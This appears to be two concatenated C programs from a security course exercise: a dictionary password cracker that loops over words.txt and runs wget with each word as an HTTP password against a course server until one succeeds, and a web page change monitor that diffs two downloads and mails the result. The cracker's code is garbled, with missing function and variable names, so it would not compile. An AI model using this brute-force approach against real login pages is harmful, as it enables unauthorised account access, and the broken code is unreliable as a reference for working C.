#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
  char PassString[100],pwd[3],p[100];
  char *t;
  const char l[]=" \n.,;:!-";
  int count=0;
  
  FILE *fh;
  fh=fopen("words.txt","r");
  int  ,end,tot;

   = time();
  
  while((fgets(PassString,sizeof(PassString),fh))!= NULL)
  { 
    t=strtok(PassString,l);
    while(t!=NULL)
    {
      count++;
      strcpy(p,"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd=");
      strcat(p,t);
      if(system(p)==0)
      {
     
      end = time();
      tot = (end -);
      tot /= 1000000000.0;
      printf("The total time_var taken is:%llds\n",tot);
      printf("The number of attempts is:%d\n",count);
      exit(1);
      }
      t=strtok(NULL,l);
      printf("%s=\n",p);
      
    }
  
  }
  fclose(fh);
  return 0;
  }

         

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

    
    int main ()
    {
      FILE *fp;
      char s[300] , ptr[20]; 	     
	system("rm *.html* ");
      system("wget http://www.cs.rmit.edu./students/ ");    
	system("mv index.html First.html");
	system("sleep 10");
	system("wget http://www.cs.rmit.edu./students/ "); 
      system("diff First.html index.html > difference.txt" );
	fp=fopen("difference.txt","r");
      if(fgets(ptr,30,fp))
	     {
	     system( "mailx -s   \"Changes were detected \"    < difference.txt ");
           }
    else 
	      printf(" were  changes detected"); 
	     
            return 0;   
      

     }
      
      
   



